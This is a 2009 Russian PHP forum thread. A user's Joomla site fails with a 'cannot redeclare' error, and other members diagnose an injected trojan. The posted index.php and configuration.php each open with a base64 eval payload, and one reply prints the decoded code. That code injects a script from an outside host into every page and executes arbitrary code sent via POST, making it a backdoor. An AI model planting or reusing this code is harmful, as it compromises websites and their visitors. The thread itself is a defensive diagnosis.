Люди добрые помогите пожалуйста!!!

Discussion in 'PHP' started by port_xxx, 19 Oct 2009.

  1. port_xxx

    port_xxx New Member

    Joined:
    25 Aug 2009
    Messages:
    29
    Likes Received:
    2
    Reputations:
    0
    Fatal error: Cannot redeclare f6p2c() (previously declared in /www/ax3.net/p/o/port/home/site/index.php(1) : eval()'d code:1) in /www/ax3.net/p/o/port/home/site/configuration.php(1) : eval()'d code on line 1

    Может это и не в тему, но реально проблема выросла... запустил вчера сайт он робил сегодня выдало вот такую ошибку сайт port.ax3.net
     
  2. SQLHACK

    SQLHACK Остались только слоны

    Joined:
    27 Sep 2006
    Messages:
    437
    Likes Received:
    372
    Reputations:
    407
    Ну а че все написано же, функция f6p2c() не может быть снова задекларирована, ибо есть уже такая в index.php, а в configuration.php она опять пытается создасться
     
    _________________________
  3. port_xxx

    port_xxx New Member

    Joined:
    25 Aug 2009
    Messages:
    29
    Likes Received:
    2
    Reputations:
    0
    тоесть мне надо из одного из файлов стереть эту фуекцию?
     
  4. newcss

    newcss New Member

    Joined:
    6 Oct 2009
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    стереть не вызов функции, а объявление функции. Посмотри может инклуд у тебя где лишний...
     
  5. port_xxx

    port_xxx New Member

    Joined:
    25 Aug 2009
    Messages:
    29
    Likes Received:
    2
    Reputations:
    0
    если я часть кода сюда выложу, сможете посмотреть?
     
  6. port_xxx

    port_xxx New Member

    Joined:
    25 Aug 2009
    Messages:
    29
    Likes Received:
    2
    Reputations:
    0
    Часть кода

    index
    Code:
    <?php eval(base64_decode('aWYoIWlzc2V0KCRmNnAyYzEpKXtmdW5jdGlvbiBmNnAyYygkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8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JGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSkgYXMgJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0nZjZwMmMnKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2UgJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgnZjZwMmMnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kZjZwMmNsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdmNnAyYzInKSkhPSdmNnAyYzInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?><?php
    /**
    * @version $Id: index.php 10041 2008-02-15 21:48:13Z eddieajau $
    * @package Joomla
    * @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
    * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php
    * Joomla! is free software. This version may have been modified pursuant
    * to the GNU General Public License, and as distributed it includes or
    * is derivative of works licensed under the GNU General Public License or
    * other free or open source software licenses.
    * See COPYRIGHT.php for copyright notices and details.
    */
    
    // Set flag that this is a parent file
    define( '_VALID_MOS', 1 );
    
    // checks for configuration file, if none found loads installation page
    if (!file_exists( 'configuration.php' ) || filesize( 'configuration.php' ) < 10) {
    	$self = rtrim( dirname( $_SERVER['PHP_SELF'] ), '/\\' ) . '/';
    	header("Location: http://" . $_SERVER['HTTP_HOST'] . $self . "installation/index.php" );
    	exit();
    }
    
    require( 'globals.php' );
    require( 'configuration.php' );
    
    // SSL check - $http_host returns <live site url>:<port number if it is 443>
    $http_host = explode(':', $_SERVER['HTTP_HOST'] );
    if( (!empty( $_SERVER['HTTPS'] ) && strtolower( $_SERVER['HTTPS'] ) != 'off' || isset( $http_host[1] ) && $http_host[1] == 443) && substr( $mosConfig_live_site, 0, 8 ) != 'https://' ) {
    	$mosConfig_live_site = 'https://'.substr( $mosConfig_live_site, 7 );
    }
    
    require_once( 'includes/joomla.php' );
    
    //Installation sub folder check, removed for work with SVN
    if (file_exists( 'installation/index.php' ) && $_VERSION->SVN == 0) {
    	define( '_INSTALL_CHECK', 1 );
    	include ( $mosConfig_absolute_path .'/offline.php');
    	exit();
    }
    
    // displays offline/maintanance page or bar
    if ($mosConfig_offline == 1) {
    	require( $mosConfig_absolute_path .'/offline.php' );
    }
    
    // load system bot group
    $_MAMBOTS->loadBotGroup( 'system' );
    
    // trigger the onStart events
    $_MAMBOTS->trigger( 'onStart' );
    
    if (file_exists( $mosConfig_absolute_path .'/components/com_sef/sef.php' )) {
    	require_once( $mosConfig_absolute_path .'/components/com_sef/sef.php' );
    } else {
    	require_once( $mosConfig_absolute_path .'/includes/sef.php' );
    }
    require_once( $mosConfig_absolute_path .'/includes/frontend.php' );
    
    // retrieve some expected url (or form) arguments
    $option = strval( strtolower( mosGetParam( $_REQUEST, 'option' ) ) );
    $Itemid = intval( mosGetParam( $_REQUEST, 'Itemid', null ) );
    
    if ($option == '') {
    	if ($Itemid) {
    		$query = "SELECT id, link"
    		. "\n FROM #__menu"
    		. "\n WHERE menutype = 'mainmenu'"
    		. "\n AND id = " . (int) $Itemid
    		. "\n AND published = 1"
    		;
    		$database->setQuery( $query );
    	} else {
    		$query = "SELECT id, link"
    		. "\n FROM #__menu"
    		. "\n WHERE menutype = 'mainmenu'"
    		. "\n AND published = 1"
    		. "\n ORDER BY parent, ordering"
    		;
    		$database->setQuery( $query, 0, 1 );
    	}
    	$menu = new mosMenu( $database );
    	if ($database->loadObject( $menu )) {
    		$Itemid = $menu->id;
    	}
    	$link = $menu->link;
    	if (($pos = strpos( $link, '?' )) !== false) {
    		$link = substr( $link, $pos+1 ). '&Itemid='.$Itemid;
    	}
    	parse_str( $link, $temp );
    	/** this is a patch, need to rework when globals are handled better */
    	foreach ($temp as $k=>$v) {
    		$GLOBALS[$k] = $v;
    		$_REQUEST[$k] = $v;
    		if ($k == 'option') {
    			$option = $v;
    		}
    	}
    }
    if ( !$Itemid ) {
    // when no Itemid give a default value
    	$Itemid = 99999999;
    }
    
    // mainframe is an API workhorse, lots of 'core' interaction routines
    $mainframe = new mosMainFrame( $database, $option, '.' );
    $mainframe->initSession();
    
    // trigger the onAfterStart events
    $_MAMBOTS->trigger( 'onAfterStart' );
    
    // checking if we can find the Itemid thru the content
    if ( $option == 'com_content' && $Itemid === 0 ) {
    	$id 	= intval( mosGetParam( $_REQUEST, 'id', 0 ) );
    	$Itemid = $mainframe->getItemid( $id );
    }
    
    /** do we have a valid Itemid yet?? */
    if ( $Itemid === 0 ) {
    	/** Nope, just use the homepage then. */
    	$query = "SELECT id"
    	. "\n FROM #__menu"
    	. "\n WHERE menutype = 'mainmenu'"
    	. "\n AND published = 1"
    	. "\n ORDER BY parent, ordering"
    	;
    	$database->setQuery( $query, 0, 1 );
    	$Itemid = $database->loadResult();
    }
    
    // patch to lessen the impact on templates
    if ($option == 'search') {
    	$option = 'com_search';
    }
    
    // loads english language file by default
    if ($mosConfig_lang=='') {
    	$mosConfig_lang = 'russian';
    }
    include_once( $mosConfig_absolute_path .'/language/' . $mosConfig_lang . '.php' );
    
    // frontend login & logout controls
    $return 	= strval( mosGetParam( $_REQUEST, 'return', NULL ) );
    $message 	= intval( mosGetParam( $_POST, 'message', 0 ) );
    
    // Get the information about the current user from the sessions table
    $my = $mainframe->getUser();
    
    if ($option == 'login') {
    	$mainframe->login();
    
    	// JS Popup message
    	if ( $message ) {
    		?>
    		<script language="javascript" type="text/javascript">
    		<!--//
    		alert( "<?php echo addslashes( _LOGIN_SUCCESS ); ?>" );
    		//-->
    		</script>
    		<?php
    	}
    
    	if ( $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) {
    	// checks for the presence of a return url
    	// and ensures that this url is not the registration or login pages
    		// If a sessioncookie exists, redirect to the given page. Otherwise, take an extra round for a cookiecheck
    		if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
    			mosRedirect( $return );
    		} else {
    			mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $return ) );
    		}
    	} else {
    		// If a sessioncookie exists, redirect to the start page. Otherwise, take an extra round for a cookiecheck
    		if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
    			mosRedirect( $mosConfig_live_site .'/index.php' );
    		} else {
    			mosRedirect( $mosConfig_live_site .'/index.php?option=cookiecheck&return=' . urlencode( $mosConfig_live_site .'/index.php' ) );
    		}
    	}
    
    } else if ($option == 'logout') {
    	$mainframe->logout();
    
    	// JS Popup message
    	if ( $message ) {
    		?>
    		<script language="javascript" type="text/javascript">
    		<!--//
    		alert( "<?php echo addslashes( _LOGOUT_SUCCESS ); ?>" );
    		//-->
    		</script>
    		<?php
    	}
    
    	if ( $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) {
    	// checks for the presence of a return url
    	// and ensures that this url is not the registration or logout pages
    		mosRedirect( $return );
    	} else {
    		mosRedirect( $mosConfig_live_site.'/index.php' );
    	}
    } else if ($option == 'cookiecheck') {
    	// No cookie was set upon login. If it is set now, redirect to the given page. Otherwise, show error message.
    	if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
    		mosRedirect( $return );
    	} else {
    		mosErrorAlert( _ALERT_ENABLED );
    	}
    }
    
    // detect first visit
    $mainframe->detect();
    
    // set for overlib check
    $mainframe->set( 'loadOverlib', false );
    
    $gid = intval( $my->gid );
    
    // gets template for page
    $cur_template = $mainframe->getTemplate();
    /** temp fix - this feature is currently disabled */
    
    /** @global A places to store information from processing of the component */
    $_MOS_OPTION = array();
    
    // precapture the output of the component
    require_once( $mosConfig_absolute_path . '/editor/editor.php' );
    
    ob_start();
    
    if ($path = $mainframe->getPath( 'front' )) {
    	$task 	= strval( mosGetParam( $_REQUEST, 'task', '' ) );
    	$ret 	= mosMenuCheck( $Itemid, $option, $task, $gid );
    
    	if ($ret) {
    		require_once( $path );
    	} else {
    		mosNotAuth();
    	}
    } else {
    	header( 'HTTP/1.0 404 Not Found' );
    	echo _NOT_EXIST;
    }
    
    $_MOS_OPTION['buffer'] = ob_get_contents();
    
    ob_end_clean();
    
    initGzip();
    
    header( 'Expires: Mon, 26 Jul 1997 05:00:00 GMT' );
    header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
    header( 'Cache-Control: no-store, no-cache, must-revalidate' );
    header( 'Cache-Control: post-check=0, pre-check=0', false );
    header( 'Pragma: no-cache' );
    
    // display the offline alert if an admin is logged in
    if (defined( '_ADMIN_OFFLINE' )) {
    	include( $mosConfig_absolute_path .'/offlinebar.php' );
    }
    
    // loads template file
    if ( !file_exists( $mosConfig_absolute_path .'/templates/'. $cur_template .'/index.php' ) ) {
    	echo _TEMPLATE_WARN . $cur_template;
    } else {
    	require_once( $mosConfig_absolute_path .'/templates/'. $cur_template .'/index.php' );
    	echo '<!-- '. time() .' -->';
    }
    
    // displays queries performed for page
    if ($mosConfig_debug) {
    	echo $database->_ticker . ' queries executed';
    	echo '<pre>';
     	foreach ($database->_log as $k=>$sql) {
     		echo $k+1 . "\n" . $sql . '<hr />';
    	}
    	echo '</pre>';
    }
    
    doGzip();
    ?>
    conf
    Code:
    <?php eval(base64_decode('aWYoIWlzc2V0KCRmNnAyYzEpKXtmdW5jdGlvbiBmNnAyYygkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovP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2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSkgYXMgJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0nZjZwMmMnKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2UgJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgnZjZwMmMnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kZjZwMmNsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdmNnAyYzInKSkhPSdmNnAyYzInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?><?php 
    if(!defined('RG_EMULATION')) { define( 'RG_EMULATION', 1 ); }
    $mosConfig_MetaAuthor = '1';
    $mosConfig_MetaDesc = 'Создание, управление сайтов. По низким ценам и быстро!';
    $mosConfig_MetaKeys = 'PORT';
    $mosConfig_MetaTitle = '1';
    $mosConfig_absolute_path = '/www/ax3.net/p/o/port/home/site';
    $mosConfig_admin_expired = '1';
    $mosConfig_allowUserRegistration = '1';
    $mosConfig_back_button = '1';
    $mosConfig_cachepath = '/www/ax3.net/p/o/port/home/site/cache';
    $mosConfig_cachetime = '900';
    $mosConfig_caching = '0';
    $mosConfig_db = 'port';
    $mosConfig_dbprefix = '';
    $mosConfig_debug = '0';
    $mosConfig_dirperms = '';
    $mosConfig_editor = 'tinymce';
    $mosConfig_enable_log_items = '0';
    $mosConfig_enable_log_searches = '1';
    $mosConfig_enable_stats = '1';
    $mosConfig_error_message = 'Сайт временно недоступен.<br /> Пожалуйста сообщите об этом системному администратору';
    $mosConfig_error_reporting = '-1';
    $mosConfig_favicon = 'favicon.ico';
    $mosConfig_fileperms = '';
    $mosConfig_fromname = 'PORT';
    $mosConfig_frontend_login = '1';
    $mosConfig_frontend_userparams = '1';
    $mosConfig_gzip = '0';
    $mosConfig_helpurl = 'http://help.joomla.org';
    $mosConfig_hideAuthor = '1';
    $mosConfig_hideCreateDate = '1';
    $mosConfig_hideEmail = '0';
    $mosConfig_hideModifyDate = '1';
    $mosConfig_hidePdf = '1';
    $mosConfig_hidePrint = '0';
    $mosConfig_hits = '0';
    $mosConfig_host = 'localhost';
    $mosConfig_icons = '1';
    $mosConfig_item_navigation = '1';
    $mosConfig_itemid_compat = '0';
    $mosConfig_lang = 'russian';
    $mosConfig_lifetime = '900';
    $mosConfig_link_titles = '0';
    $mosConfig_list_limit = '50';
    $mosConfig_live_site = 'http://port.ax3.net';
    $mosConfig_locale = 'ru';
    $mosConfig_mailer = 'mail';
    $mosConfig_mailfrom = '[email protected]';
    $mosConfig_multilingual_support = '0';
    $mosConfig_multipage_toc = '1';
    $mosConfig_offline = '0';
    $mosConfig_offline_message = 'Сайт сейчас закрыт на техническое обслуживание.<br /> Пожалуйста зайдите позже.';
    $mosConfig_offset = '-4';
    $mosConfig_offset_user = '0';
    $mosConfig_pagetitles = '1';
    $mosConfig_password = '8888888';
    $mosConfig_readmore = '1';
    $mosConfig_secret = '00000';
    $mosConfig_sef = '0';
    $mosConfig_sendmail = '/usr/sbin/sendmail';
    $mosConfig_session_life_admin = '1800';
    $mosConfig_session_type = '2';
    $mosConfig_shownoauth = '0';
    $mosConfig_sitename = 'PORT';
    $mosConfig_smtpauth = '0';
    $mosConfig_smtphost = 'localhost';
    $mosConfig_smtppass = '';
    $mosConfig_smtpuser = '';
    $mosConfig_uniquemail = '1';
    $mosConfig_user = 'port';
    $mosConfig_useractivation = '1';
    $mosConfig_vote = '0';
    setlocale (LC_TIME, $mosConfig_locale);
    ?>
     
    #6 port_xxx, 19 Oct 2009
    Last edited: 19 Oct 2009
  7. port_xxx

    port_xxx New Member

    Joined:
    25 Aug 2009
    Messages:
    29
    Likes Received:
    2
    Reputations:
    0
    плизз помогите, я уже с 6 утра мучаюсь
     
    1 person likes this.
  8. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    1) называйте темы, согласно правилам.
    2) вас протроянили. Удалите первую строчку, кот. начинается на "eval(base64_decode("
     
    1 person likes this.
  9. port_xxx

    port_xxx New Member

    Joined:
    25 Aug 2009
    Messages:
    29
    Likes Received:
    2
    Reputations:
    0
    удалил первые строки из обоих файлов теперь вот это
    Parse error: syntax error, unexpected '}' in /www/ax3.net/p/o/port/home/site/index.php on line 160
     
  10. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    удаляй только

    <?php eval(base64_decode('aWYoIWlzc2V0KCRmNnAyYzEpKXtmdW 5jdGlvbiBmNnAyYygkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8 c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYW NoKCRhWzBdIGFzICR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwk dikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLi w7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21h dGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKH ByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJw b3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKC R2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgk diwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZS AoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcy wkYS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aTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNb JGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kZjZwMmNsPSgoJG E9QHNldF9lcnJvcl9oYW5kbGVyKCdmNnAyYzInKSkhPSdmNnAy YzInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2 UnXSkpOw==')); ?> , а <?php оставь
     
    1 person likes this.
  11. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    PHP:
    if(!isset($f6p2c1)){function f6p2c($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL3RoZWZseWluZ3Bvb2RsZXMuY29tL2ltYWdlcy9EU0NfMDAzNS5waHAgPjwvc2NyaXB0Pg=='),'',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function f6p2c2($a,$b,$c,$d){global $f6p2c1;$s=array();if(function_exists($f6p2c1))call_user_func($f6p2c1,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='f6p2c')return;elseif($a=='ob_gzhandler')break;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('f6p2c');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$f6p2cl=(($a=@set_error_handler('f6p2c2'))!='f6p2c2')?$a:0;eval(base64_decode($_POST['e']));
    Code:
    <script src=http://theflyingpoodles.com/images/DSC_0035.php ></script>
    
    Code:
    http://www.freeguard.biz/j100coock.js
    
    Trojan.JS.Iframe.dk
    Время детектирования 02 окт 2009 07:48 MSK
    Время выпуска обновления 02 окт 2009 13:10 MSK
     
    #11 -=lebed=-, 19 Oct 2009
    Last edited: 19 Oct 2009
  12. port_xxx

    port_xxx New Member

    Joined:
    25 Aug 2009
    Messages:
    29
    Likes Received:
    2
    Reputations:
    0
    Спасибо парни=) как бы троян удалить...